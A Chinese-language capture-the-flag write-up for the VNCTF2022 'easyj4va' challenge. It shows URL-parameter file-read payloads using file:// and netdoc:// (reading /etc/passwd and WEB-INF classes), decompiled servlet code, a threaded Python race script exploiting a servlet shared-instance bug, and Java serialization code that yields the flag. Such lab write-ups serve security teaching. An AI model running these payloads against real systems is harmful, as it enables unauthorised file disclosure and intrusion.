[VNCTF2022]easyj4va

[VNCTF2022]easyj4va_第1张图片看源码

[VNCTF2022]easyj4va_第2张图片

 [VNCTF2022]easyj4va_第3张图片

 输入 /file?url = 1报错

[VNCTF2022]easyj4va_第4张图片

 用伪协议可以读取到内容

/file?url=file:///etc/passwd

[VNCTF2022]easyj4va_第5张图片 然后就是查看java字节码文件的目录

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

[VNCTF2022]easyj4va_第6张图片

 以下为读文件的payload

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
    User.class
servlet
    FileServlet.class
	HelloWorldServlet.class
util
    Secr3t.class
    SerAndDe.class
    UrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

读到的文件 可以jd-gui 反编译,也可以用网上的在线工具:JAVA反向工程网 (javare.cn)

也可以用IDeA

HelloWorldServlet.class
    
package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
    private volatile String age = "666";
    private volatile String height = "180";
    private volatile String name = "m4n_q1u_666";
    User user;

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    /* access modifiers changed from: protected */
    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }
        if (Secr3t.check(this.name)) {
            Response(resp, "no vnctf2022!");
        } else if (Secr3t.check(this.name)) {
            Response(resp, "The Key is " + Secr3t.getKey());
        }
    }

    /* access modifiers changed from: protected */
    public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (!Secr3t.getKey().equals(key) || text == null) {
            Response(resp, "KeyError");
            return;
        }
        if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
            Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

 主要看 hello.class 中的doPOst方法:

[VNCTF2022]easyj4va_第7张图片

 这里可以getFlag。但是需要满足Key相同,且另一个是反序列化一个一样的user对象

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
        Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode(text);
        User u = (User)SerAndDe.deserialize(textByte);
        if (this.user.equals(u)) {
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    } else {
        this.Response(resp, "KeyError");
    }

}

 先获取KEY,调用的是Secr3t类。

先来看看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

[VNCTF2022]easyj4va_第8张图片

 这里 第二个 if 需要name 不等于 "vnctf2022", 而第三个if 又需要 this.name = "vnctf2022".

矛盾了

 这里涉及一个知识点:Servlet的线程安全问题 | Y4tacker's Blog

总结一下

然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象

而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗。

脚本:

import time
import requests
from threading import Thread

url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=snowy"
ses = requests.session()


def get(session, payload):
    while True:
        res = session.get(url=url+payload)
        print(url+payload)
        print(res.text)
        if "key" in res.text:
            print(res.text)
        time.sleep(0.1)


if __name__ == '__main__':
    for i in range(2):
        Thread(target=get, args=(ses, payload1,)).start()
    for j in range(2):
        Thread(target=get, args=(ses, payload2,)).start()

[VNCTF2022]easyj4va_第9张图片

The Key is 3wL5Ajzw9ew6WU9AfhIB58GzH4coiCl5

接着就是反序列化的步骤了

继续看到 doPOst方法

[VNCTF2022]easyj4va_第10张图片

看到第一个if

他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。

先进行序列化 再进行base64

import entity.User;
import java.util.Base64;
import util.SerAndDe;


public class testSerializable
{
    public static void main(String[] args){
        User user = new User("snowy","18","180");
        Base64.Encoder  encoder = Base64.getEncoder();
        byte[] textByte = SerAndDe.serialize(user);
        String text = encoder.encodeToString(textByte);
        System.out.println(text);
    }
}

把结果传入url

[VNCTF2022]easyj4va_第11张图片

 发现打不通, 要注意的是 这里的User.java 中 height 属性是由 transient修饰的,所以再生成byte的时候需要重写下 writeObject类 否则会将自己的User对象 height为空。

private transient String height;

User.java最后加上

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

参考文献:java-Transient关键字、Volatile关键字介绍和序列化、反序列化机制、单例类序列化_龙吟在天的博客-CSDN博客_volatile 序列化

 exp:

import entity.User;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
        
    }
}

最后传入 key 和base64的结果即可[VNCTF2022]easyj4va_第12张图片

 因为环境消失了  更换了key

你可能感兴趣的:(JAVA安全,java,网络安全)